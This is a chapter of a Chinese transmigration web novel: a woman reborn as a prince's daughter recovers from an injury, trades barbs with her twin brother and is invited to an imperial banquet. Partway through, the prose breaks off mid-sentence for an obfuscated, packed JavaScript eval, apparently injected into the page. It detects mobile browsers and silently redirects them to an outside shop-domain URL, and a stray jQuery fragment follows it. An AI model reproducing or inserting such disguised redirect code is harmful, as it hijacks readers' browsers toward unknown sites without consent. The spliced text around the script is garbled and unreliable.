就在她心中盘算着要怎么糊弄的时候,忽听红玉道:“绿翡,别胡说。”
“我没……”绿翡还想说什么,却被红玉瞪了一眼,立马噤声。
红玉手脚麻利地给闻希月包扎好伤口后,就说要去给她端药,出门前拉着绿翡出了房间。
闻希月躺在床上,依稀听到了他们的对话。
绿翡:“红玉姐姐,我又没说错,你干嘛不让我说嘛?”
红玉:“小姐这次受了身体和感情上的双重伤害,性情有些变化也正常,你又何必在这种时候说小姐被人打坏脑子了?你心情不好、情绪低落的时候,难道会希望别人说你脑子坏掉了?”
“……不希望,”绿翡,“可是,小姐以前受伤的时候都会在王爷和娘娘面前哭着撒娇,这次却好像变了个人一样,疼起来哭都哭得那么克制,我就是心疼嘛!”
红玉:“……心疼你就说小姐脑子坏掉了?这是什么逻辑?”
“哎呀我不是想说小姐脑子坏掉啦!我只是,只是在跟小姐开玩笑嘛!以前小姐心情不好的时候,我跟小姐开开玩笑,跟小姐打打闹闹,小姐就会很开心了,可是现在,可是……”绿翡说着说着,好像又要哭出来了,声音带上了几分哽咽。
红玉:“好了好了,我知道你是关心小姐,但这次情况不一样,咱们做好自己的事,一切都顺着小姐,过段时间等小姐身上的伤好了,也把那人忘了,就会回到以前那样了。”
绿翡:“真的吗?”
红玉:“当然是真的,放心吧!小姐很快就会好起来的。”
绿翡:“嗯嗯!绿翡都听红玉姐姐的。”
红玉:“你啊!快别哭了,一会儿……”
二人说话的声音渐渐远去,躺在床上的闻希月轻轻叹了口气,她们以前那个小姐是没可能再回来了。
不过,她会尽量捂好马甲,替那位小姐好好活下去的。
-
接下来的日子,闻希月都安心躺在王府养伤。
因为有绿翡这个叽叽喳喳的小萝莉在,她旁敲侧击地了解了不少关于原主的信息,很快融入了这个新身份。
而在此期间,她前后处事风格的变化也都被归结为受了打击,性情大变。
除了绿翡偶尔还会用伤感的眼神看着她,似在期待她能快点变回以前那个会和她开玩笑打打闹闹的小姐,其他人对她的变化都没有表现出太过在意,似乎只要她好好活着就没什么不能接受。
美人王妃天天都会来看她,在她的伤势渐渐稳定,不再反复发烧之后,王妃就没再见她一次哭一次鼻子了,这也让她压力骤减,不再总觉得自己命不久矣了。
而定安王在她的强烈要求下一直称病没去上朝,天天窝在家里不出门,也谢绝了朝中各路官员们的探访。
不用去上朝的定安王乐得清闲,每天除了陪老婆女儿之外,还会拿着鱼竿坐在王府花园中的小湖边钓钓鱼,小日子过得别提有多惬意。
而闻希月也会在定安王来看她的时候向他询问一些有关近期朝堂上发生的事。
说来也怪,自从那天皇帝得知自己的儿子打了她,晕倒之后就生了场大病,一直卧床不起。
也不知道是皇帝年纪大了不中用了,还是他真的太过惧怕定安王,以至于真被吓病了。
总之人虽然病着,却把能做的该做的都做了。
当天宫里的太监总管就送来了上好的伤药和补品,态度极其卑微地将皇帝的关心和不能亲自登门探望的遗憾,以及皇帝表示一定会给定安王府一个交代的决心都带到了。
次日一早,七皇子被召进宫中打了50大板后软禁在七皇子府的消息便传了过来。
据说人被打得血肉模糊、皮开肉绽。
离开皇宫的时候,是被人抬出去的,血流了一地,很是触目惊心。
就那样的伤势,恐怕没一两个月是下不了床了。
为此,定安王算是稍微消减了一些怒气,没再成天嚷嚷着要去打皇帝杀皇子了。
-
转眼一个月过去,闻希月身上的皮外伤已经好得七七八八,内伤虽然还需些时日调养,但已经不妨碍她到处走动了。
不得不说,她现在所拥有的这具身体比她之前的身体强太多了,恢复得比她想象得要快得多,要是换作以前的她被打成这样,怕是一年半载的都得躺在床上了。不愧是能凭一己之力干翻几十号护卫的女人,就是牛批。
突然从一个996的脆皮苦逼社畜升级成了不愁吃穿用度,还有丫鬟围着伺候,身份尊贵的小郡主,闻希月别提有多开心了。
要不是因为心中还是对皇家的态度心存疑虑,现在的人生就可以说是无可挑剔了。
-
这日,天气晴好,闻希月带着红玉绿翡在王府花园里散步,老远就听到一个少年的声音咋咋呼呼地道:“小月饼小月饼,出来玩怎么不叫我?你不够意思啊!你受伤这段时间,哥哥天天陪你说话,你伤一好,就不要哥哥啦?”
闻希月忍住翻白眼的冲动,面无表情地转过身。
来人少年模样,衣饰华丽,走起路来一蹦一跳,腰间配饰随着他不稳重的动作一甩一甩,巴掌大的小脸上稚气未退,整个人看起来青春洋溢,非常的有活力。
他皮肤白皙,五官精致,灵动的狐狸眼总让人觉得他在憋着坏,这张脸竟与闻希月现在这张脸像了个九成九。
此人正是闻希月穿越当天嚷嚷着要打断七皇子的狗腿,拎过来任她处置的暴力美少年,定安王府的闻二少爷闻希风,也是闻希月现在这具身体原本主人的……呃,原主并不承认他是哥哥,虽然他确实比原主早出生了那么几分钟。
两人从小就是一对小冤家,什么都要比一比、争一争,成长过程中没少斗嘴打架。
闻希风给原主起外号叫小月饼,据说是在外听人说了大饼脸就是形容丑女的,而原主名字中有个月字,他就顺口给起了个外号叫小月饼。
原主知道这外号的由来之后,对于闻希风认为与自己长着几乎一样的脸的人是丑女的这种心理表示非常不解,且觉得他大抵是脑子出了什么问题,于是灵机一动,顺口给他起了个外号叫小疯子。
因为闻希风的名字中有个风字,于是为了公平起见,干脆就把疯改成了风,从那以后,闻希风在原主这里就痛失本名,成了个一听就不怎么正常的小风子。
这么一来一回,两人谁也不吃亏,在起外号这件事上,算是打了个平手。
两人平时看起来很不对付,可是,如果其中一个在外面受了欺负,另外一个是绝对要站出来撑腰的,大有一种自家养的狗子只能自己欺负的意思。
这次要不是闻希月拦着,又有定安王施压,闻希风早就打上七皇子府了。
闻希风这些日子以来,确实如他自己所说,天天都跑去闻希月那里陪她说话,关心之情溢于言表。
但说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14134783|150041||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
实话,这真不是闻希月所期望的,虽然能从他的言谈中了解一些与原主有关的事,但闻二少那比一百只鸭子都要聒噪的本事属实让闻希月有些受不了。
想她一个二十八岁性格沉稳的成年人,被迫天天听一个十七岁的中二少年在耳边讲什么哪天跟谁谁谁去骑马了,哪天跟谁谁谁去蹴鞠了,谁谁谁是个没用的绣花枕头,比武的时候禁不住他闻少爷轻轻一推,他闻少爷一根手指头都能碾死好几个这样色儿的草包。
就这听个一天两天也还行,要是连着一个月,天天都听这个,还天天都重样,那可真是谁听谁知道_(:з」∠)_
闻希月那么好的脾气都有了想打人的冲动。
也因为这个,她理解了原主对待这位闻二少的态度。
“你要是能哪天不出现在我面前,那才是真够意思,另外,别想我叫你哥哥,小屁孩。”闻希月不客气地道。
对于原本年龄二十八岁的闻希月来说,这十七岁的闻家二少可不就是个小屁孩吗?
以前原主没叫过他哥哥,以后她更不可能叫他哥哥。
闻二少还不知道,自己这辈子恐怕都不太有可能听他这位龙凤胎妹子叫他一声哥哥了。
“说谁小屁孩呢?没大没小,我可是比你早出生的。”闻二少那略带稚气的脸皱了起来,看起来很有几分可爱。
“二少爷,你也就比小姐早出生那么一点点哦。”绿翡在一边提醒。
闻二少一脸认真:“早出生一点点也是早出生,早出生的就是哥哥。”
绿翡一摊手,一脸“你赢了”的表情道:“那你让小姐叫声哥哥听听。”
闻二少:“……”扎心了啊老铁。
他家妹子打从会说话,就没叫过他一声哥哥。
绿翡见他一脸憋屈的不说话,忍不住噗嗤一声笑了出来。
红玉也在一旁掩唇轻笑。
闻希月也忍不住笑了起来。
“你……你们……”闻二少一脸愤懑地看着三人,“你们人多欺负人少,哼!”
哼完转身就哒哒哒地跑远了,看方向,大抵是回自己院子自闭去了。
见他这样,三人又忍不住一阵大笑。
笑完之后,还是小萝莉绿翡有些不忍地道:“小姐,我们是不是有些过分啊?”
闻希月看着闻二少的背影笑道:“没事,他不会放在心上的。”
绿翡大大的杏眼眨了眨:“真的吗?”
闻希月点点头,肯定地道:“真的。”
闻希风这些天经常故意跟她斗嘴,然后又为一些让人好笑的原因被气得跳脚,气跑之后很快又像什么都没发生一样回来继续跟她斗嘴。
这明显不是他想找虐,也不是他嘴笨说不过她们,而是他在用另一种方式安慰自己受了情伤的妹妹。
定安王这一家人真是……让她这个原本对亲情不报期待的异世灵魂很是感动呢!
就在闻希月在心中默默为这一家子对亲人无微不至的关怀而感慨的时候,一个丫鬟突然送了一张帖子过来。
闻希月展开一看,居然是皇后在宫里举办了赏花宴,邀她与定安王妃一同前去赴宴。
闻希月绣眉微蹙,只怕宴无好宴。
她虽然没有参加宫宴的经验,但却看过不少宫斗的电视剧。
剧中但凡是宴会,十有八九会出事。
就是不知道,这次会是谁想安排谁在宫宴上出事呢?